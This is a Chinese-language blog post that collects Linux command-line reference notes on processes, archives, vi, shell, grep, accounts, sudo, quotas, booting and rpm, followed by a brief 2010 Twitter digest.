crontab 循環執行的例行性命令 [e]编辑,[l]显示,[r]删除任务
&    后台运行程序 tar -zxvf 123.tar.gz & 后台运行
jobs 观看后台暂停的程序 jobs -l
fg    将后台程序调到前台 fg n n是数字,可以指定进行那个程序
bg    让工作在后台运行
kill 结束进程 kill -9 PID     [9]强制结束,[15]正常结束,[l]列出可用的kill信号
ps aux   查看后台程序  
top     查看后台程序 top -d 2 每两秒更新一次        top -d 2 -p10604 观看某个PID
       top -b -n 2 > /tmp/top.txt 將 top 的資訊進行 2 次,然後將結果輸出到 /tmp/top.txt
pstree 以树状图显示程序 [ A ]以 ASCII 來連接, [ u ]列出PID, [ p ]列出帐号
killall 要刪除某個服務 killall -9 httpd
free    显示内存状态     free -m   以M为单位显示
uptime 显示目前系统开机时间
netstat 显示网络状态 netstat -tulnp 找出目前系統上已在監聽的網路連線及其 PID
dmesg     显示开机信息 demsg | more
nice    设置优先权    nice -n -5 vi & 用 root 給一個 nice 值为 -5 ,用于执行 vi
renice 调整已存在优先权
runlevel   显示目前的runlevel
depmod 分析可载入模块的相依性
lsmod     显示已载入系统的模块
modinfo 显示kernel模块的信息
insmod 载入模块
modprobe 自动处理可载入模块
rmmod     删除模块
chkconfig 检查,设置系统的各种服务     chkconfig –list 列出各项服务状态
ntsysv     设置系统的各种服务
cpio    备份文件

压缩命令:
*.Z    compress 程式壓縮的檔案;
*.bz2 bzip2 程式壓縮的檔案;
*.gz    gzip 程式壓縮的檔案;
*.tar tar 程式打包的資料,並沒有壓縮過;
*.tar.gz tar 程式打包的檔案,其中並且經過 gzip 的壓縮
compress filename   压缩文件   加[-d]解压   uncompress
gzip filename 压缩   加[-d]解压   zcat 123.gz 查看压缩文件内容
bzip2 -z filename   压缩   加[-d]解压 bzcat filename.bz2   查看压缩文件内容
tar -cvf /home/123.tar /etc   打包,不压缩
tar -xvf 123.tar 解开包
tar -zxvf /home/123.tar.gz   以gzip解压
tar -jxvf /home/123.tar.bz2   以bzip2解压
tar -ztvf /tmp/etc.tar.gz 查看tar内容
cpio -covB   > [file|device] 份份
cpio -icduv < [file|device] 还原

vi一般用法
一般模式              编辑模式                指令模式
h 左             a,i,r,o,A,I,R,O          :w 保存
j 下             进入编辑模式             :w! 强制保存
k 上             dd 删除光标当前行           :q! 不保存离开
l 右             ndd 删除n行                 :wq! 保存后离开
0 移动到行首        yy 复制当前行             :e! 还原原始档
$ 移动到行尾        nyy 复制n行                :w filename 另存为
H 屏幕最上       p,P 粘贴                   :set nu 设置行号
M 屏幕中央       u   撤消                   :set nonu 取消行号
L 屏幕最下       [Ctrl]+r 重做上一个动作    ZZ 保存离开
G 档案最后一行    [ctrl]+z 暂停退出          :set nohlsearch 永久地关闭高亮显示
/work 向下搜索                                   :sp 同时打开两个文档
?work 向上搜索                                   [Ctrl]+w 两个文档设换
gg 移动到档案第一行                            :nohlsearch 暂时关闭高亮显示

认识SHELL
alias 显示当前所有的命令别名    alias lm=”ls -al” 命令别名 unalias lm 取消命令别名
type    类似which
exprot 设置或显示环境变量
exprot PATH=”$PATH”:/sbin   添加/sbin入PATH路径
echo $PATH 显示PATH路径
bash    进入子程序
name=yang     设定变量
unset name 取消变量
echo $name 显示变量的内容
myname=”$name its me” & myname=’$name its me’     单引号时$name失去变量内容
ciw=/etc/sysconfig/network-scripts/     设置路径
env    列出所有环境变量
echo $RANDOM 显示随意产生的数
set    设置SHELL
PS1=’[\u@\h \w \A #\#]\$ ‘     提示字元的設定
[root@linux ~]# read [-pt] variable     ———–读取键盘输入的变量
參數:
-p   :後面可以接提示字元!
-t   :後面可以接等待的『秒數!』
declare 声明 shell 变量
ulimit -a 显示所有限制资料
ls /tmp/yang && echo “exist” || echo “not exist”
意思是說,當 ls /tmp/yang 執行後,若正確,就執行echo “exist” ,若有問題,就執行echo “not exist”
echo $PATH | cut -d ‘:’ -f 5    以:为分隔符,读取第5段内容
export | cut -c 10-20    读取第10到20个字节的内容
last | grep ‘root’ 搜索有root的一行,加[-v]反向搜索
cat /etc/passwd | sort 排序显示
cat /etc/passwd | wc    显示『行、字数、字节数』
正规表示法
[root@test root]# grep [-acinv] ‘搜尋字串’ filename
   參數說明:
   -a :將 binary 檔案以 text 檔案的方式搜尋資料
   -c :計算找到 ‘搜尋字串’ 的次數
   -i :忽略大小寫的不同,所以大小寫視為相同
   -n :順便輸出行號
   -v :反向選擇,亦即顯示出沒有 ‘搜尋字串’ 內容的那一行!
grep -n ‘the’ 123.txt     搜索the字符 搜尋特定字串    
grep -n ‘t[ea]st’ 123.txt 搜索test或taste两个字符 利用 [] 來搜尋集合字元
grep -n ‘[^g]oo’ 123.txt     搜索前面不为g的oo 向選擇 [^]
grep -n ‘[0-9]‘ 123.txt   搜索有0-9的数字
grep -n ‘^the’ 123.txt 搜索以the为行首 行首搜索^
grep -n ‘^[^a-zA-Z]‘ 123.txt   搜索不以英文字母开头
grep -n ‘[a-z]$’ 123.txt 搜索以a-z结尾的行 行尾搜索$
grep -n ‘g..d’ 123.txt     搜索开头g结尾d字符 任意一個字元 .
grep -n ‘ooo*’ 123.txt     搜索至少有两个oo的字符 重複字元 *
sed 文本流编辑器 利用脚本命令来处理文本文件
awd 模式扫描和处理语言
nl 123.txt | sed ‘2,5d’ 删除第二到第五行的内容
diff     比较文件的差异
cmp    比较两个文件是否有差异
patch 修补文件
pr    要打印的文件格式化

帐号管理
/etc/passwd 系统帐号信息
/etc/shadow 帐号密码信息 经MD5 32位加密
    在密码栏前面加『 * 』『 ! 』禁止使用某帐号
/etc/group     系统群组信息
/etc/gshadow
newgrp 改变登陆组
useradd   &   adduser 建立新用户   useradd -m test   自动建立用户的登入目录
      useradd -m -g pgroup test 指定所属级
/etc/default/useradd 相关设定
/etc/login.defs    UID/GID 有關的設定
passwd 更改密码 passwd test
usermod 修改用户帐号
userdel 删除帐号 userdel -r test
chsh    更换登陆系统时使用的SHELL [-l]显示可用的SHELL;[-s]修改自己的SHELL
chfn    改变finger指令显示的信息
finger 查找并显示用户信息
id        显示用户的ID id test
groupadd 添加组
groupmod 与usermod类似
groupdel 删除组
su test 更改用户 su – 进入root,且使用root的环境变量
sudo    以其他身份来执行指令
visudo     编辑/etc/sudoers    加入一行『 test ALL=(ALL) ALL 』
          %wheel ALL = (ALL) ALL             系统里所有wheel群组的用户都可用sudo
          %wheel ALL = (ALL) NOPASSWD: ALL     wheel群组所有用户都不用密码NOPASSWD
   User_Alias ADMPW = vbird, dmtsai, vbird1, vbird3       加入ADMPW组
   ADMPW ALL = NOPASSWD: !/usr/bin/passwd, /usr/bin/passwd [A-Za-z]*, \
   !/usr/bin/passwd root    可以更改使用者密码,但不能更改root密码 (在指令前面加入 ! 代表不可)
PAM (Pluggable Authentication Modules, 嵌入式模組)
who & w     看谁在线                  
last        最近登陆主机的信息
lastlog     最近登入的時間 读取 /var/log/lastlog
talk        与其他用户交谈
write    发送信息 write test [ctrl]+d 发送
mesg        设置终端机的写入权限 mesg n 禁止接收     mesg y
wall        向所有用户发送信息 wall this is q test
mail        写mail  
/etc/default/useradd 家目录默认设置
quota    显示磁盘已使用的空间与限制     quota -guvs 秀出目前 root 自己的 quota 限制值
          quota -vu 查询
quotacheck 检查磁盘的使用空间与限制     quotacheck -avug 將所有的在 /etc/mtab 內,含有 quota 支援的 partition 進行掃瞄
         [-m] 强制扫描
    quota一定要是独立的分区,要有quota.user和quota.group两件文件,在/etc/fstab添加一句:
    /dev/hda3 /home ext3 defaults,usrquota,grpquota 1 2
    chmod 600 quota*       设置完成,重启生效
edquota 编辑用户或群组的quota   [ u ]用户,[ g ]群组,[ p ]复制,[ t ]设置宽限期限
          edquota -a yang    edquota -p yang -u young 复制
quotaon 开启磁盘空间限制     quotaon -auvg 啟動所有的具有 quota 的 filesystem
quotaoff 关闭磁盘空间限制     quotaoff -a   關閉了 quota 的限制
repquota -av     查閱系統內所有的具有 quota 的 filesystem 的限值狀態
Quota 從開始準備 filesystem 的支援到整個設定結束的主要的步驟大概是:
1、設定 partition 的 filesystem 支援 quota 參數:
由於 quota 必須要讓 partition 上面的 filesystem 支援才行,一般來說, 支援度最好的是 ext2/ext3 ,
其他的 filesystem 類型鳥哥我是沒有試過啦! 啟動 filesystem 支援 quota 最簡單就是編輯 /etc/fstab ,
使得準備要開放的 quota 磁碟可以支援 quota 囉;
2、建立 quota 記錄檔:
剛剛前面講過,整個 quota 進行磁碟限制值記錄的檔案是 aquota.user/aquota.group,
要建立這兩個檔案就必須要先利用 quotacheck 掃瞄才行喔!
3、編輯 quota 限制值資料:
再來就是使用 edquota 來編輯每個使用者或群組的可使用空間囉;
4、重新掃瞄與啟動 quota :
設定好 quota 之後,建議可以再進行一次 quotacheck ,然後再以 quotaon 來啟動吧!

开机流程简介
1、載入 BIOS 的硬體資訊,並取得第一個開機裝置的代號;
2、讀取第一個開機裝置的 MBR 的 boot Loader (亦即是 lilo, grub, spfdisk 等等) 的開機資訊;
3、載入 Kernel 作業系統核心資訊, Kernel 開始解壓縮,並且嘗試驅動所有硬體裝置;
4、Kernel 執行 init 程式並取得 run-level 資訊;
5、init 執行 /etc/rc.d/rc.sysinit 檔案;
6、啟動核心的外掛模組 (/etc/modprobe.conf);
7、init 執行 run-level 的各個批次檔( Scripts );
8、init 執行 /etc/rc.d/rc.local 檔案;
9、執行 /bin/login 程式,並等待使用者登入;
10、登入之後開始以 Shell 控管主機。
在/etc/rc.d/rc3.d內,以S开头的为开机启动,以K开头的为关闭,接着的数字代表执行顺序
GRUB vga设定
彩度\解析度   640×480   800×600   1024×768   1280×1024 bit
256        769    771    773    775    8 bit
32768    784    787    790    793     15 bit
65536    785    788    791    794     16 bit
16.8M    786    789    792    795     32 bit

./configure 检查系统信息    ./configure –help | more   帮助信息
make clean     清除之前留下的文件
make          编译
make install 安装
rpm -q   查询是否安装          rpm -ql 查询该套件所有的目录
rpm -qi 查询套件的说明资料    rpm -qc[d] 设定档与说明档
rpm -ivh 安装                    rpm -V   查看套件有否更动过
rpm -e 删除                    rpm -Uvh 升级安装
–nodeps 强行安装             –test 测试安装

Tags: Posted in 技术文章我抢沙发

Twitter周记2010-02-14

2010/02/14
  • 晚上十二点到两点更新维护,明天早上九半到十一点维护。每当维护的日子就累得要死。 #
  • 自从新浪微博上的人多了之后就少用TWITTER了,毕竟更方便一点。GFW起作用了…… #

Powered by Twitter Tools.

Tags: Posted in twitter2 条评论